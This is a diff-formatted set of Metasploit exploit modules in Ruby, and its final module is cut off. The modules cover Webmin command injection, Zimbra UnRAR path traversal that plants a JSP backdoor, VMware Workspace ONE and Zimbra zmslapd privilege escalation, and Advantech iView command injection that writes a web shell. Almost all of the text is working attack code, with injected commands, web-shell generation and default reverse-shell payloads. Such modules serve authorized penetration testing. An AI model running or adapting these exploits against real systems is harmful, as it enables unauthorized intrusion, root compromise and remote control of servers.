'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' }
|
||||
}
|
||||
],
|
||||
[
|
||||
'Linux Dropper (x86 & x64)',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :linux_dropper,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
|
||||
}
|
||||
],
|
||||
[
|
||||
'Linux Dropper (ARM64)',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_AARCH64,
|
||||
'Type' => :linux_dropper,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp' }
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'Base path to Webmin', '/']),
|
||||
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
|
||||
OptString.new('PASSWORD', [ false, 'Password to login with', '123456'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
)
|
||||
|
||||
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") unless res
|
||||
|
||||
if res.body.include?('This web server is running in SSL mode.')
|
||||
return CheckCode::Unknown("#{peer} - Please enable the SSL option to proceed")
|
||||
end
|
||||
|
||||
version = res.headers['Server'].to_s.scan(%r{MiniServ/([\d.]+)}).flatten.first
|
||||
|
||||
return CheckCode::Unknown("#{peer} - Webmin version not detected") unless version
|
||||
|
||||
version = Rex::Version.new(version)
|
||||
|
||||
vprint_status("Webmin #{version} detected")
|
||||
|
||||
unless version < Rex::Version.new('1.997')
|
||||
return CheckCode::Safe("#{peer} - Webmin #{version} is not a supported target")
|
||||
end
|
||||
|
||||
vprint_good("Webmin #{version} is a supported target")
|
||||
|
||||
CheckCode::Appears
|
||||
rescue ::Rex::ConnectionError
|
||||
return CheckCode::Unknown("#{peer} - Could not connect to web service")
|
||||
end
|
||||
|
||||
def do_login
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/session_login.cgi'),
|
||||
'headers' => { 'Referer' => full_uri },
|
||||
'cookie' => 'testing=1',
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'user' => datastore['USERNAME'],
|
||||
'pass' => datastore['PASSWORD']
|
||||
}
|
||||
})
|
||||
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") unless res
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 302
|
||||
|
||||
print_good('Logged in!')
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
cmd = cmd.gsub('/', '${SEP}').gsub('\'', '"')
|
||||
cmd = "#{rand_text_alphanumeric(4)};SEP=$(perl -MMIME::Base64 -e \"print decode_base64('Lw==')\")&&#{cmd}"
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/package-updates/update.cgi'),
|
||||
'headers' => { 'Referer' => full_uri },
|
||||
'vars_post' => {
|
||||
'mode' => 'new',
|
||||
'search' => rand_text(10),
|
||||
'redir' => '',
|
||||
'redirdesc' => '',
|
||||
'u' => cmd,
|
||||
'confirm' => 'Install Now'
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status('Attempting login')
|
||||
do_login
|
||||
|
||||
print_status('Sending payload')
|
||||
case target['Type']
|
||||
when :unix_memory
|
||||
execute_command(payload.encoded)
|
||||
when :linux_dropper
|
||||
execute_cmdstager
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,173 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::Format::RarSymlinkPathTraversal
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'UnRAR Path Traversal in Zimbra (CVE-2022-30333)',
|
||||
'Description' => %q{
|
||||
This module creates a RAR file that can be emailed to a Zimbra server
|
||||
to exploit CVE-2022-30333. If successful, it plants a JSP-based
|
||||
backdoor in the public web directory, then executes that backdoor.
|
||||
|
||||
The core vulnerability is a path-traversal issue in unRAR that can
|
||||
extract an arbitrary file to an arbitrary location on a Linux system.
|
||||
|
||||
This issue is exploitable on the following versions of Zimbra, provided
|
||||
UnRAR version 6.11 or earlier is installed:
|
||||
|
||||
* Zimbra Collaboration 9.0.0 Patch 24 (and earlier)
|
||||
* Zimbra Collaboration 8.8.15 Patch 31 (and earlier)
|
||||
},
|
||||
'Author' => [
|
||||
'Simon Scannell', # Discovery / initial disclosure (via Sonar)
|
||||
'Ron Bowes', # Analysis, PoC, and module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2022-30333'],
|
||||
['URL', 'https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/'],
|
||||
['URL', 'https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946'],
|
||||
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P25'],
|
||||
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P32'],
|
||||
['URL', 'https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis'],
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Targets' => [
|
||||
[ 'Zimbra Collaboration Suite', {} ]
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
|
||||
'TARGET_PATH' => '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/',
|
||||
'TARGET_FILENAME' => nil,
|
||||
'DisablePayloadHandler' => false,
|
||||
'RPORT' => 443,
|
||||
'SSL' => true
|
||||
},
|
||||
'Stance' => Msf::Exploit::Stance::Passive,
|
||||
'DefaultTarget' => 0,
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '2022-06-28',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [ false, 'The file name.', 'payload.rar']),
|
||||
|
||||
# Separating the path, filename, and extension allows us to randomize the filename
|
||||
OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../").']),
|
||||
OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: <random>.jsp).']),
|
||||
]
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (must be 12 characters or less; default: random)']),
|
||||
OptBool.new('TRIGGER_PAYLOAD', [ false, 'If set, attempt to trigger the payload via an HTTP request.', true ]),
|
||||
|
||||
# Took this from multi/handler
|
||||
OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions.', 0 ]),
|
||||
OptInt.new('CheckInterval', [ true, 'The number of seconds to wait between each attempt to trigger the payload on the server.', 5 ])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
# Generate an on-system filename using datastore options
|
||||
def generate_target_filename
|
||||
if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')
|
||||
print_Warning('TARGET_FILENAME does not end with .jsp, was that intentional?')
|
||||
end
|
||||
|
||||
File.join(datastore['TARGET_PATH'], datastore['TARGET_FILENAME'] || "#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp")
|
||||
end
|
||||
|
||||
# Normalize the path traversal and figure out where it is relative to the web root
|
||||
def zimbra_get_public_path(target_filename)
|
||||
# Normalize the path
|
||||
normalized_path = Pathname.new(File.join('/opt/zimbra/data/amavisd/tmp', target_filename)).cleanpath
|
||||
|
||||
# Figure out where it is, relative to the webroot
|
||||
webroot = Pathname.new('/opt/zimbra/jetty_base/webapps/zimbra/')
|
||||
relative_path = normalized_path.relative_path_from(webroot)
|
||||
|
||||
# Hopefully, we found a path from the webroot to the payload!
|
||||
if relative_path.to_s.start_with?('../')
|
||||
return nil
|
||||
end
|
||||
|
||||
relative_path
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status('Encoding the payload as a .jsp file')
|
||||
payload = Msf::Util::EXE.to_jsp(generate_payload_exe)
|
||||
|
||||
# Create a file
|
||||
target_filename = generate_target_filename
|
||||
print_status("Target filename: #{target_filename}")
|
||||
|
||||
begin
|
||||
rar = encode_as_traversal_rar(datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..12), target_filename, payload)
|
||||
rescue StandardError => e
|
||||
fail_with(Failure::BadConfig, "Failed to encode RAR file: #{e}")
|
||||
end
|
||||
|
||||
file_create(rar)
|
||||
|
||||
print_good('File created! Email the file above to any user on the target Zimbra server')
|
||||
|
||||
# Bail if they don't want the payload triggered
|
||||
return unless datastore['TRIGGER_PAYLOAD']
|
||||
|
||||
# Get the public path for triggering the vulnerability, terminate if we
|
||||
# can't figure it out
|
||||
public_filename = zimbra_get_public_path(target_filename)
|
||||
if public_filename.nil?
|
||||
print_warning('Could not determine the public web path, disabling payload triggering')
|
||||
return
|
||||
end
|
||||
|
||||
register_file_for_cleanup(target_filename)
|
||||
|
||||
interval = datastore['CheckInterval'].to_i
|
||||
print_status("Trying to trigger the backdoor @ #{public_filename} every #{interval}s [backgrounding]...")
|
||||
|
||||
# This loop is mostly from `multi/handler`
|
||||
stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i
|
||||
timeout = datastore['ListenerTimeout'].to_i
|
||||
loop do
|
||||
break if session_created?
|
||||
break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i)
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(public_filename)
|
||||
)
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')
|
||||
end
|
||||
|
||||
Rex::ThreadSafe.sleep(interval)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,120 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Unix
|
||||
|
||||
TARGET_FILE = '/opt/vmware/certproxy/bin/cert-proxy.sh'.freeze
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
{
|
||||
'Name' => 'VMware Workspace ONE Access CVE-2022-31660',
|
||||
'Description' => %q{
|
||||
VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges
|
||||
to those of the root user by modifying a file and then restarting the vmware-certproxy service which
|
||||
invokes it. The service control is permitted via the sudo configuration without a password.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Spencer McIntyre'
|
||||
],
|
||||
'Platform' => [ 'linux', 'unix' ],
|
||||
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
'Targets' => [
|
||||
[ 'Automatic', {} ],
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'PrependFork' => true,
|
||||
'MeterpreterTryToFork' => true
|
||||
},
|
||||
'Privileged' => true,
|
||||
'DefaultTarget' => 0,
|
||||
'References' => [
|
||||
[ 'CVE', '2022-31660' ],
|
||||
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0021.html' ]
|
||||
],
|
||||
'DisclosureDate' => '2022-08-02',
|
||||
'Notes' => {
|
||||
# We're corrupting the vmware-certproxy service, if restoring the contents fails it won't work. This service
|
||||
# is disabled by default though.
|
||||
'Stability' => [CRASH_SERVICE_DOWN],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK]
|
||||
}
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def certproxy_service
|
||||
# this script's location depends on the version, so find it.
|
||||
return @certproxy_service if @certproxy_service
|
||||
|
||||
@certproxy_service = [
|
||||
'/usr/local/horizon/scripts/certproxyService.sh',
|
||||
'/opt/vmware/certproxy/bin/certproxyService.sh'
|
||||
].find { |path| file?(path) }
|
||||
|
||||
vprint_status("Found service control script at: #{@certproxy_service}") if @certproxy_service
|
||||
@certproxy_service
|
||||
end
|
||||
|
||||
def sudo(arguments)
|
||||
cmd_exec("sudo --non-interactive #{arguments}")
|
||||
end
|
||||
|
||||
def check
|
||||
unless whoami == 'horizon'
|
||||
return CheckCode::Safe('Not running as the horizon user.')
|
||||
end
|
||||
|
||||
token = Rex::Text.rand_text_alpha(10)
|
||||
unless sudo("--list '#{certproxy_service}' && echo #{token}").include?(token)
|
||||
return CheckCode::Safe('Cannot invoke the service control script with sudo.')
|
||||
end
|
||||
|
||||
unless writable?(TARGET_FILE)
|
||||
return CheckCode::Safe('Cannot write to the service file.')
|
||||
end
|
||||
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
# backup the original permissions and contents
|
||||
print_status('Backing up the original file...')
|
||||
@backup = {
|
||||
stat: stat(TARGET_FILE),
|
||||
contents: read_file(TARGET_FILE)
|
||||
}
|
||||
|
||||
if payload.arch.first == ARCH_CMD
|
||||
payload_data = "#!/bin/bash\n#{payload.encoded}"
|
||||
else
|
||||
payload_data = generate_payload_exe
|
||||
end
|
||||
upload_and_chmodx(TARGET_FILE, payload_data)
|
||||
print_status('Triggering the payload...')
|
||||
sudo("--background #{certproxy_service} restart")
|
||||
end
|
||||
|
||||
def cleanup
|
||||
return unless @backup
|
||||
|
||||
print_status('Restoring file contents...')
|
||||
file_rm(TARGET_FILE) # it's necessary to delete the running file before overwriting it
|
||||
write_file(TARGET_FILE, @backup[:contents])
|
||||
print_status('Restoring file permissions...')
|
||||
chmod(TARGET_FILE, @backup[:stat].mode & 0o777)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,138 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Post::Linux::Compile
|
||||
include Msf::Post::Linux::Kernel
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Zimbra zmslapd arbitrary module load',
|
||||
'Description' => %q{
|
||||
This module exploits CVE-2022-37393, which is a vulnerability in
|
||||
Zimbra's sudo configuration that permits the zimbra user to execute
|
||||
the zmslapd binary as root with arbitrary parameters. As part of its
|
||||
intended functionality, zmslapd can load a user-defined configuration
|
||||
file, which includes plugins in the form of .so files, which also
|
||||
execute as root.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Darren Martyn', # discovery and poc
|
||||
'Ron Bowes', # Module
|
||||
],
|
||||
'DisclosureDate' => '2021-10-27',
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Privileged' => true,
|
||||
'References' => [
|
||||
[ 'CVE', '2022-37393' ],
|
||||
[ 'URL', 'https://darrenmartyn.ie/2021/10/27/zimbra-zmslapd-local-root-exploit/' ],
|
||||
],
|
||||
'Targets' => [
|
||||
[ 'Auto', {} ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Reliability' => [ REPEATABLE_SESSION ],
|
||||
'Stability' => [ CRASH_SAFE ],
|
||||
'SideEffects' => [ IOC_IN_LOGS ]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options [
|
||||
OptString.new('SUDO_PATH', [ true, 'Path to sudo executable', 'sudo' ]),
|
||||
OptString.new('ZIMBRA_BASE', [ true, "Zimbra's installation directory", '/opt/zimbra' ]),
|
||||
]
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
# Because this isn't patched, I can't say with 100% certainty that this will
|
||||
# detect a future patch (it depends on how they patch it)
|
||||
def check
|
||||
# Sanity check
|
||||
if is_root?
|
||||
fail_with(Failure::None, 'Session already has root privileges')
|
||||
end
|
||||
|
||||
unless file_exist?("#{datastore['ZIMBRA_BASE']}/libexec/zmslapd")
|
||||
print_error("zmslapd executable not detected: #{datastore['ZIMBRA_BASE']}/libexec/zmslapd (set ZIMBRA_BASE if Zimbra is installed in an unusual location)")
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
unless command_exists?(datastore['SUDO_PATH'])
|
||||
print_error("Could not find sudo: #{datastore['SUDOPATH']} (set SUDO_PATH if sudo isn't in $PATH)")
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
# Run `sudo -n -l` to make sure we have access to the target command
|
||||
cmd = "#{datastore['SUDO_PATH']} -n -l"
|
||||
print_status "Executing: #{cmd}"
|
||||
output = cmd_exec(cmd).to_s
|
||||
|
||||
if !output || output.start_with?('usage:') || output.include?('illegal option') || output.include?('a password is required')
|
||||
print_error('Current user could not execute sudo -l')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
if !output.include?("(root) NOPASSWD: #{datastore['ZIMBRA_BASE']}/libexec/zmslapd")
|
||||
print_error('Current user does not have access to run zmslapd')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
base_dir = datastore['WritableDir'].to_s
|
||||
unless writable?(base_dir)
|
||||
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
|
||||
end
|
||||
|
||||
# Generate a random directory
|
||||
exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
|
||||
if file_exist?(exploit_dir)
|
||||
fail_with(Failure::BadConfig, 'Exploit dir already exists')
|
||||
end
|
||||
|
||||
# Create the directory and get ready to remove it
|
||||
print_status("Creating exploit directory: #{exploit_dir}")
|
||||
mkdir(exploit_dir)
|
||||
register_dir_for_cleanup(exploit_dir)
|
||||
|
||||
# Generate some filenames
|
||||
library_name = ".#{rand_text_alphanumeric(5..10)}.so"
|
||||
library_path = "#{exploit_dir}/#{library_name}"
|
||||
config_name = ".#{rand_text_alphanumeric(5..10)}"
|
||||
config_path = "#{exploit_dir}/#{config_name}"
|
||||
|
||||
# Create the .conf file
|
||||
config = "modulepath #{exploit_dir}\nmoduleload #{library_name}\n"
|
||||
write_file(config_path, config)
|
||||
|
||||
write_file(library_path, generate_payload_dll)
|
||||
|
||||
cmd = "sudo #{datastore['ZIMBRA_BASE']}/libexec/zmslapd -u root -g root -f #{config_path}"
|
||||
print_status "Attempting to trigger payload: #{cmd}"
|
||||
out = cmd_exec(cmd)
|
||||
|
||||
unless session_created?
|
||||
print_error("Failed to create session! Cmd output = #{out}")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,230 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Advantech iView NetworkServlet Command Injection',
|
||||
'Description' => %q{
|
||||
Versions of Advantech iView software below `5.7.04.6469` are
|
||||
vulnerable to an unauthenticated command injection vulnerability
|
||||
via the `NetworkServlet` endpoint.
|
||||
The database backup functionality passes a user-controlled parameter,
|
||||
`backup_file` to the `mysqldump` command. The sanitization functionality only
|
||||
tests for SQL injection attempts and directory traversal, so leveraging the
|
||||
`-r` and `-w` `mysqldump` flags permits exploitation.
|
||||
The command injection vulnerability is used to write a payload on the target
|
||||
and achieve remote code execution as NT AUTHORITY\SYSTEM.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'rgod', # Vulnerability discovery
|
||||
'y4er', # PoC
|
||||
'Shelby Pace' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
[ 'URL', 'https://y4er.com/post/cve-2022-2143-advantech-iview-networkservlet-command-inject-rce/'],
|
||||
[ 'CVE', '2022-2143']
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'Privileged' => true,
|
||||
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
|
||||
'Targets' => [
|
||||
[
|
||||
'Windows Dropper',
|
||||
{
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'Type' => :win_dropper,
|
||||
'CmdStagerFlavor' => [ 'psh_invokewebrequest', 'vbs' ],
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows Command',
|
||||
{
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :win_cmd,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' }
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => '2022-06-28',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_SAFE ],
|
||||
'Reliability' => [ REPEATABLE_SESSION ],
|
||||
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [ true, 'The base path to Advantech iView', '/iView3']),
|
||||
OptString.new('USERNAME', [ false, 'The user name to authenticate with', 'admin']),
|
||||
OptString.new('PASSWORD', [ false, 'The password to authenticate with', 'password'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi!(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
)
|
||||
|
||||
return CheckCode::Unknown('Failed to receive a response from the application') unless res
|
||||
|
||||
unless res.body.include?('iView')
|
||||
return CheckCode::Safe('No confirmation that target is Advantech iView')
|
||||
end
|
||||
|
||||
res = send_db_backup_request('')
|
||||
return CheckCode::Detected('Failed to receive response from backup request') unless res
|
||||
|
||||
# The patch added auth as a requirement for
|
||||
# accessing the NetworkServlet endpoint
|
||||
if res.body =~ /ERROR:\s+User\s+Not\sLogin/
|
||||
@needs_auth = true
|
||||
print_status('Vulnerability is present, though authentication is required.')
|
||||
end
|
||||
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def send_db_backup_request(filename)
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
|
||||
'keep_cookies' => true,
|
||||
'vars_post' =>
|
||||
{
|
||||
'page_action_type' => 'backupDatabase',
|
||||
'backup_filename' => filename
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
def format_jsp
|
||||
bin_nums = []
|
||||
arg_nums = []
|
||||
flag_nums = []
|
||||
|
||||
bin_param.each_char { |c| bin_nums << c.ord }
|
||||
bin_nums = bin_nums.join(',')
|
||||
arg_param.each_char { |c| arg_nums << c.ord }
|
||||
arg_nums = arg_nums.join(',')
|
||||
flag_param.each_char { |c| flag_nums << c.ord }
|
||||
flag_nums = flag_nums.join(',')
|
||||
|
||||
'<%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((' \
|
||||
'new ProcessBuilder(request.getParameter(' \
|
||||
"new java.lang.String(new byte[]{#{bin_nums}}))," \
|
||||
"request.getParameter(new java.lang.String(new byte[]{#{flag_nums}}))," \
|
||||
"request.getParameter(new java.lang.String(new byte[]{#{arg_nums}}))).start())" \
|
||||
'.getInputStream()))%>'
|
||||
end
|
||||
|
||||
def flag_param
|
||||
@flag_param ||= Rex::Text.rand_text_alpha(3..8)
|
||||
end
|
||||
|
||||
def arg_param
|
||||
@arg_param ||= Rex::Text.rand_text_alpha(3..8)
|
||||
end
|
||||
|
||||
def bin_param
|
||||
@bin_param ||= Rex::Text.rand_text_alpha(3..8)
|
||||
end
|
||||
|
||||
def jsp_filename
|
||||
@jsp_filename ||= "#{Rex::Text.rand_text_alpha(5..12)}.jsp"
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, jsp_filename),
|
||||
'keep_cookies' => true,
|
||||
'vars_get' =>
|
||||
{
|
||||
bin_param => 'cmd.exe',
|
||||
flag_param => '/c',
|
||||
arg_param => cmd
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
def iview_authenticate
|
||||
res = send_request_cgi!(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
)
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Login page not found') unless res && res.body.include?('loginWindow')
|
||||
vprint_good('Successfully accessed the login page')
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'CommandServlet'),
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'page_action_service' => 'UserServlet',
|
||||
'page_action_type' => 'login',
|
||||
'user_name' => datastore['USERNAME'],
|
||||
'user_password' => datastore['PASSWORD'],
|
||||
'use_ldap' => 'false',
|
||||
'data' => ''
|
||||
}
|
||||
)
|
||||
|
||||
unless res && res.body.include?('Success')
|
||||
fail_with(Failure::BadConfig, 'Authentication failed. Credentials likely incorrect.')
|
||||
end
|
||||
vprint_good('Authentication successful!')
|
||||
end
|
||||
|
||||
def need_auth?
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'NetworkServlet')
|
||||
)
|
||||
return false unless res
|
||||
|
||||
!!(res.body =~ /ERROR:\s+User\s+Not\sLogin/)
|
||||
end
|
||||
|
||||
def exploit
|
||||
if @needs_auth || need_auth?
|
||||
iview_authenticate
|
||||
end
|
||||
|
||||
jsp_code = format_jsp
|
||||
|
||||
sql_filename = "#{Rex::Text.rand_text_alpha(5..12)}.sql"
|
||||
full_cmd = "#{sql_filename}\" -r \"./webapps/iView3/#{jsp_filename}\" -w \"#{jsp_code}\""
|
||||
|
||||
res = send_db_backup_request(full_cmd)
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to write JSP file to target') unless res
|
||||
|
||||
path = "webapps\\iView3\\#{jsp_filename}"
|
||||
register_file_for_cleanup(path)
|
||||
if target['Type'] == :win_dropper
|
||||
execute_cmdstager
|
||||
else
|
||||
execute_command(payload.encoded)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,449 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::Remote::TcpServer
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::JavaDeserialization
|
||||
include Msf::Handler::Reverse::Comm
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'ManageEngine ADAudit Plus CVE-2022-28219',
|
||||
'Description' => %q{
|
||||
This module exploits CVE-2022-28219, which is a pair of
|
||||
vulnerabilities in ManageEngine ADAudit Plus versions before build
|
||||
7060: a path traversal in the /cewolf endpoint, and a blind XXE in,
|
||||
